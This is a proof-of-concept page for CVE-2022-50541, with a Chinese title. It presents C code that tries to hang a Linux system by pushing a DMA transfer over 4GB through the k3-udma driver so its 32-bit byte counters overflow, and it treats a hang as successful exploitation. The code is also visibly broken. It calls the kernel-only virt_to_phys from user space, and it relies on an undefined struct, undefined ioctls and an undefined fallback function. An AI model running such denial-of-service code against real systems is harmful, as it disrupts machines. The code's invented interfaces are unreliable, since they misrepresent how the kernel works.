CVE-2022-50541 Linux内核k3-udma驱动字节计数器溢出漏洞

// CVE-2022-50541 PoC - Trigger UDMA byte counter overflow // This PoC demonstrates triggering a DMA transfer > 4GB to overflow // the 32-bit UDMA_CHAN_RT_*BCNT_REG counters in the k3-udma driver #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <linux/dmaengine.h> // Allocate a large buffer (> 4GB) to trigger counter overflow #define BUFFER_SIZE (5UL * 1024 * 1024 * 1024) // 5GB to ensure overflow #define TRANSFER_SIZE (5UL * 1024 * 1024 * 1024) // 5GB transfer int main(int argc, char *argv[]) { int fd; void *src_buf, *dst_buf; struct dma_params params; printf("[*] CVE-2022-50541 - UDMA Byte Counter Overflow PoC\n"); // Open a device that uses UDMA (e.g., /dev/udmabuf or network device) fd = open("/dev/udmabuf0", O_RDWR); if (fd < 0) { perror("[-] Failed to open UDMA device"); // Fallback: try to trigger via network or storage DMA printf("[*] Attempting alternative DMA trigger method\n"); return trigger_via_network(); } // Allocate source and destination buffers larger than 4GB src_buf = mmap(NULL, BUFFER_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); dst_buf = mmap(NULL, BUFFER_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (src_buf == MAP_FAILED || dst_buf == MAP_FAILED) { perror("[-] Failed to allocate buffers"); return 1; } // Fill source buffer with test data memset(src_buf, 0xAA, BUFFER_SIZE); memset(dst_buf, 0x00, BUFFER_SIZE); printf("[*] Initiating DMA transfer of %lu bytes (> 4GB threshold)\n", TRANSFER_SIZE); printf("[*] This will cause UDMA_CHAN_RT byte counters to overflow\n"); // Configure DMA parameters for large transfer params.src_addr = virt_to_phys(src_buf); params.dst_addr = virt_to_phys(dst_buf); params.len = TRANSFER_SIZE; // Start DMA transfer - counter overflow will occur at ~4GB if (ioctl(fd, DMA_START_TRANSFER, &params) < 0) { perror("[-] DMA transfer failed"); } printf("[*] Transfer initiated. If vulnerable, system may hang.\n"); printf("[*] The 32-bit RT byte counters overflow at 0xFFFFFFFF -> 0x0\n"); // Wait for transfer completion (may hang indefinitely on vulnerable systems) sleep(30); // Verify transfer completion if (ioctl(fd, DMA_GET_STATUS, &params) < 0) { printf("[+] Transfer hung - vulnerability triggered!\n"); return 0; // Successful exploitation } printf("[-] Transfer completed normally\n"); return 1; }